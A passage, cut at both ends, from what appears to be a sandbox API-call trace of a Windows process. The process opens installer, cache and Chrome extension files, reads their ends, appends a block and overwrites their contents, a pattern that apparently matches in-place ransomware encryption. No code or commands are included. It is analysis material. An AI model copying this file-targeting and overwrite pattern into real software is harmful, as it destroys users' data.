(in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x64.msi", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0049.419] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x64.msi", cchWideChar=25, lpMultiByteStr=0x1e7fd2c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeMinimum_x64.msi", lpUsedDefaultChar=0x0) returned 25 [0049.419] ReadFile (in: hFile=0x170, lpBuffer=0x2613678, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0049.426] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x23000 [0049.426] ReadFile (in: hFile=0x170, lpBuffer=0x276b358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.427] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x23000 [0049.427] WriteFile (in: hFile=0x170, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.427] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0049.428] WriteFile (in: hFile=0x170, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0049.428] CloseHandle (hObject=0x170) returned 1 [0049.428] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0049.428] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0049.428] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6f398 [0049.428] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0049.428] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.429] ReleaseMutex (hMutex=0x128) returned 1 [0049.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vcredist_x64.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0049.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vcredist_x64.exe", cchWideChar=16, lpMultiByteStr=0x1e78974, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vcredist_x64.exe", lpUsedDefaultChar=0x0) returned 16 [0049.429] ReadFile (in: hFile=0x170, lpBuffer=0x2613678, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0050.013] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x6e398 [0050.013] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.015] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x6e398 [0050.016] WriteFile (in: hFile=0x170, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.016] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0050.016] WriteFile (in: hFile=0x170, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0050.016] CloseHandle (hObject=0x170) returned 1 [0050.016] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.016] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.017] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xbee30 [0050.017] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.017] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.017] ReleaseMutex (hMutex=0x128) returned 1 [0050.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VC_redist.x86.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0050.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VC_redist.x86.exe", cchWideChar=17, lpMultiByteStr=0x1e78974, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VC_redist.x86.exe", lpUsedDefaultChar=0x0) returned 17 [0050.017] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0050.019] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.019] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xbde30 [0050.020] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.021] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xbde30 [0050.021] WriteFile (in: hFile=0x170, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.022] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0050.022] WriteFile (in: hFile=0x170, lpBuffer=0x3a284c8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a284c8*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0050.022] WriteFile (in: hFile=0x170, lpBuffer=0x3a284c8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a284c8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0050.022] CloseHandle (hObject=0x170) returned 1 [0050.022] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.023] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.023] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x49c [0050.023] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.023] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.023] ReleaseMutex (hMutex=0x128) returned 1 [0050.023] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ACECache11.lst", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0050.023] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ACECache11.lst", cchWideChar=14, lpMultiByteStr=0x1e6302c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACECache11.lst", lpUsedDefaultChar=0x0) returned 14 [0050.023] ReadFile (in: hFile=0x170, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x49c, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x354f2bc*=0x49c, lpOverlapped=0x0) returned 1 [0050.024] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.024] WriteFile (in: hFile=0x170, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0xa24, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x354f2d0*=0xa24, lpOverlapped=0x0) returned 1 [0050.024] CloseHandle (hObject=0x170) returned 1 [0050.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.025] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.025] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4858 [0050.025] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.025] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.025] ReleaseMutex (hMutex=0x128) returned 1 [0050.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0050.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", cchWideChar=66, lpMultiByteStr=0x1e9569c, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", lpUsedDefaultChar=0x0) returned 66 [0050.025] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.025] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3858 [0050.025] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.025] CloseHandle (hObject=0x170) returned 1 [0050.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.026] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.026] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x80170 [0050.026] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.026] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.026] ReleaseMutex (hMutex=0x128) returned 1 [0050.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="index", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0050.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="index", cchWideChar=5, lpMultiByteStr=0x1e6aa5c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="index", lpUsedDefaultChar=0x0) returned 5 [0050.026] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0050.028] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.029] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x7f170 [0050.029] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.030] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x7f170 [0050.031] WriteFile (in: hFile=0x170, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.031] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0050.031] WriteFile (in: hFile=0x170, lpBuffer=0x3a284c8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a284c8*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0050.031] WriteFile (in: hFile=0x170, lpBuffer=0x3a284c8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a284c8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0050.031] CloseHandle (hObject=0x170) returned 1 [0050.031] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.246] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.246] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x10 [0050.246] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.246] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.246] ReleaseMutex (hMutex=0x128) returned 1 [0050.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CURRENT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0050.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CURRENT", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CURRENT", lpUsedDefaultChar=0x0) returned 7 [0050.246] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e63248, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e63248*, lpNumberOfBytesRead=0x354f2bc*=0x10, lpOverlapped=0x0) returned 1 [0050.464] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.464] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x598, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x598, lpOverlapped=0x0) returned 1 [0050.464] CloseHandle (hObject=0x1a8) returned 1 [0050.464] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.465] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.465] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe0 [0050.465] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.465] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.465] ReleaseMutex (hMutex=0x128) returned 1 [0050.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.465] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x354f2bc*=0xe0, lpOverlapped=0x0) returned 1 [0050.466] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.466] WriteFile (in: hFile=0x1a8, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x668, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x668, lpOverlapped=0x0) returned 1 [0050.466] CloseHandle (hObject=0x1a8) returned 1 [0050.466] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.467] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.467] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xd9 [0050.467] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.467] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.467] ReleaseMutex (hMutex=0x128) returned 1 [0050.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.467] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xd9, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x354f2bc*=0xd9, lpOverlapped=0x0) returned 1 [0050.468] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.468] WriteFile (in: hFile=0x1a8, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x661, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x661, lpOverlapped=0x0) returned 1 [0050.468] CloseHandle (hObject=0x1a8) returned 1 [0050.468] CreateFileW 